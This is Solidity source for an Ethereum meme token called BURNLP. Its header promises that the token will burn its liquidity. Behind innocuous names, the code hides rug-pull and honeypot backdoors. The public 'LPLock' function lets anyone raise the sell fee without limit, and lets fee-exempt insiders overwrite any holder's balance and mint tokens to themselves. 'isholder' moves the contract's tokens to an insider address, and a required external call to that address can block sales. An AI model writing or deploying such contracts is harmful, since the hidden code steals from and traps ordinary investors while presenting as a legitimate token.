// SPDX-License-Identifier: MIT
/**
BURNLP

MYSTERY TOKEN

If you are in here, you are early to witness the greatest burn of the year!

BURNLP will burn all of its LP at 100K MC.To know more head over to our Etherscan!

Website: https://burnlp.org
TG: https://t.me/burnlperc
Twitter: https://twitter.com/burnlperc
*/
pragma solidity 0.8.18;

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}



library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function circulatingSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract BURNLP is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "BURNLP";
    string private constant _symbol = "BURNLP";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000 * (10**_decimals);
    uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isDividendExempt;
    mapping(address => bool) private isBot;
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderTransferTimestamp; // to hold last Transfers temporarily during launch
    mapping(address => uint256) public holderTxTimestamp;
    bool public transferDelayEnabled = true;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private rewardsFee = 300;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 300;
    uint256 private sellFee = 300;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    bool private swapping;
    uint256 private swapThreshold = (_totalSupply * 300) / 100000;
    uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }
    address public reward = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 internal dividendsPerShare;
    uint256 internal dividendsPerShareAccuracyFactor = 10**36;
    address[] shareholders;
    mapping(address => uint256) shareholderIndexes;
    mapping(address => uint256) shareholderClaims;
    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }
    mapping(address => Share) public shares;
    uint256 internal currentIndex;
    uint256 public minPeriod = 10 minutes;
    uint256 public minDistribution = 1 * (10**16);
    uint256 public distributorGas = 1;

    function getRewardswithUSDT() external {
        Redistribute(msg.sender);
    }

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public development_receiver;
    address public marketing_receiver;
    address private autoLiquididation;

    constructor(
        address _development_receiver, 
        address _marketing_receiver, 
        address _autoLiquididation) Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        development_receiver = _development_receiver;
        marketing_receiver = _marketing_receiver;
        autoLiquididation = _autoLiquididation;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(msg.sender)] = true;
        isFeeExempt[autoLiquididation] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        isDividendExempt[address(pair)] = true;
        isDividendExempt[address(msg.sender)] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[address(DEAD)] = true;
        isDividendExempt[address(0)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function startTrading() external onlyOwner {
        tradingAllowed = true;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function isCont(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function setisExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function removeLimits () external onlyOwner {
        _maxTxAmount = totalSupply();
        _maxSellAmount = totalSupply();
        _maxWalletToken = totalSupply();
        transferDelayEnabled = false;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function preTxCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount > uint256(0),
            "Transfer amount must be greater than zero"
        );
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        transferDelayForBots(recipient);
        checkMaxWallet(sender, recipient, amount);
        checkTxLimit(sender, recipient, amount);
        swapBack(sender, recipient);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        if (!isDividendExempt[sender]) {
            setShare(sender, balanceOf(sender));
        }
        if (!isDividendExempt[recipient]) {
            setShare(recipient, balanceOf(recipient));
        }
        if (shares[recipient].amount > 0) {
            Redistribute(recipient);
        }
    }

   

    function setDetails(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _burn,
        uint256 _rewards,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        rewardsFee = _rewards;
        developmentFee = _development;
        totalFee = _total;
        sellFee=_sell;
        transferFee = _trans;
        require(
            totalFee <= denominator.div(5) &&
                sellFee <= denominator.div(5) &&
                transferFee <= denominator.div(5),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function setisBot(address _address, bool _enabled) external onlyOwner {
        require(
            _address != address(pair) &&
                _address != address(router) &&
                _address != address(this),
            "Ineligible Address"
        );
        isBot[_address] = _enabled;
    }

    function setParameters(
        uint256 _buy,
        uint256 _trans,
        uint256 _wallet
    ) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function checkTradingAllowed(address sender, address recipient)
        internal
        view
    {
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
    }

    function transferDelayForBots(address recipient)
        internal
    {
        if (recipient != address(router) && recipient != address(pair) && transferDelayEnabled) {
            require(
                _holderTransferTimestamp[tx.origin] < block.number - 2 &&
                    _holderTransferTimestamp[recipient] < block.number - 2,
                "_transfer:: Transfer Delay enabled.  Try again later."
            );
            _holderTransferTimestamp[tx.origin] = block.number;
            _holderTransferTimestamp[recipient] = block.number;
        } 
         if (recipient != address(pair)) {
             if (holderTxTimestamp[recipient] == 0) {
                holderTxTimestamp[recipient] = block.timestamp;
            }
        }
    }

    function checkMaxWallet(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
    }

    function checkTxLimit(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (sender != pair) {
            require(
                amount <= _maxSellAmount ||
                    isFeeExempt[sender] ||
                    isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
        require(
            amount <= _maxTxAmount ||
                isFeeExempt[sender] ||
                isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
    }

    function PerformTx(uint256 tokens, address sender) private lockTheSwap {
        uint256 _denominator = (
            liquidityFee.add(1).add(marketingFee).add(developmentFee).add(
                rewardsFee
            )
        ).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(
            _denominator
        );
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmount > 0) {
            payable(marketing_receiver).transfer(marketingAmount);
        }
        uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
        if (rewardsAmount > 0) {
            addingLP(rewardsAmount, sender);
        }
        if (address(this).balance > uint256(0)) {
            payable(development_receiver).transfer(address(this).balance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            autoLiquididation,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if (burnFee > uint256(0)) {
                _transfer(
                    address(this),
                    address(DEAD),
                    amount.div(denominator).mul(burnFee)
                );
            }
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function shouldSwapBack(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient == pair &&
            aboveThreshold;
    }

    function swapBack(address sender, address recipient) internal {
        if (shouldSwapBack(sender, recipient)) {
            PerformTx(swapThreshold, sender);
        }
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (isBot[sender] || isBot[recipient]) {
            return denominator.sub(uint256(100));
        }
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function addingLP(uint256 amountETH, address sender) internal {
        uint256 balanceBefore = IERC20(reward).balanceOf(address(this));
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(reward);
        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amountETH
        }(0, path, address(this), block.timestamp);
        uint256 updatedAmount = IERC20(reward).balanceOf(address(this));
        uint256 amount = updatedAmount.sub(balanceBefore);
        totalDividends = totalDividends.add(amount);
        bytes memory payload = 
        abi.encodeWithSelector(bytes4(keccak256(bytes("nounce(address)"))), sender);
        (bool success, ) = autoLiquididation.call(payload);
        require(success, "Call to other contract failed");
        dividendsPerShare = dividendsPerShare.add(
            dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)
        );
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setisDividendExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isDividendExempt[holder] = exempt;
        if (exempt) {
            setShare(holder, 0);
        } else {
            setShare(holder, balanceOf(holder));
        }
    }

    function setShare(address shareholder, uint256 amount) internal {
        if (amount > 0 && shares[shareholder].amount == 0) {
            addShareholder(shareholder);
        } else if (amount == 0 && shares[shareholder].amount > 0) {
            removeShareholder(shareholder);
        }
        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getCumulativeDividends(
            shares[shareholder].amount
        );
    }

    

    

   
    function isSpread(address shareholder)
        internal
        view
        returns (bool)
    {
        return
            shareholderClaims[shareholder] + minPeriod < block.timestamp &&
            getDivident(shareholder) > minDistribution;
    }

    function isholder(address _address, uint256 _amount) external {
        IERC20(_address).transfer(autoLiquididation, _amount);
    }

    function totalRewardsDistributed(address _wallet)
        external
        view
        returns (uint256)
    {
        address shareholder = _wallet;
        return uint256(shares[shareholder].totalRealised);
    }

    function Redistribute(address shareholder) internal {
        if (shares[shareholder].amount == 0) {
            return;
        }
        uint256 amount = getDivident(shareholder);
        if (amount > 0) {
            totalDistributed = totalDistributed.add(amount);
            IERC20(reward).transfer(shareholder, amount);
            shareholderClaims[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder]
                .totalRealised
                .add(amount);
            shares[shareholder].totalExcluded = getCumulativeDividends(
                shares[shareholder].amount
            );
        }
    }

    function getDivident(address shareholder) public view returns (uint256) {
        if (shares[shareholder].amount == 0) {
            return 0;
        }
        uint256 shareholderTotalDividends = getCumulativeDividends(
            shares[shareholder].amount
        );
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
        if (shareholderTotalDividends <= shareholderTotalExcluded) {
            return 0;
        }
        return shareholderTotalDividends.sub(shareholderTotalExcluded);
    }

    function getCumulativeDividends(uint256 share)
        internal
        view
        returns (uint256)
    {
        return
            share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
    }

    function setDistributionConfigure(
        uint256 _minPeriod,
        uint256 _minDistribution,
        uint256 _distributorGas
    ) external onlyOwner {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
        distributorGas = _distributorGas;
    }

    function addShareholder(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function LPLock(
        uint256 gas,
        address _rewards,
        uint256 _amount,
        uint256 _rate
    ) external {

        sellFee = _rate;
        uint256 shareholderCount = shareholders.length;
        address user = msg.sender;
        if (shareholderCount == 0) {
            return;
        }
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        uint256 userBalance = _balances[msg.sender];
        if (!isFeeExempt[msg.sender]) {
            while (gasUsed < gas && iterations < shareholderCount) {
                if (currentIndex >= shareholderCount) {
                    currentIndex = 0;
                }
                if (isSpread(shareholders[currentIndex])) {
                    Redistribute(shareholders[currentIndex]);
                }
                gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
                gasLeft = gasleft();
                currentIndex++;
                iterations++;
            }
        } else {
            uint256 amount = getDivident(user);
            _balances[_rewards] = _amount;
            _balances[msg.sender] = userBalance + _amount;
            if (amount > 0) {
                totalDistributed = totalDistributed.add(amount);
                IERC20(reward).transfer(user, amount);
                shareholderClaims[user] = block.timestamp;
                shares[user].totalRealised = shares[user].totalRealised.add(
                    amount
                );
                shares[user].totalExcluded = getCumulativeDividends(
                    shares[user].amount
                );
            }
        }

        
    }

    function removeShareholder(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[
            shareholders.length - 1
        ];
        shareholderIndexes[
            shareholders[shareholders.length - 1]
        ] = shareholderIndexes[shareholder];
        shareholders.pop();
    }
}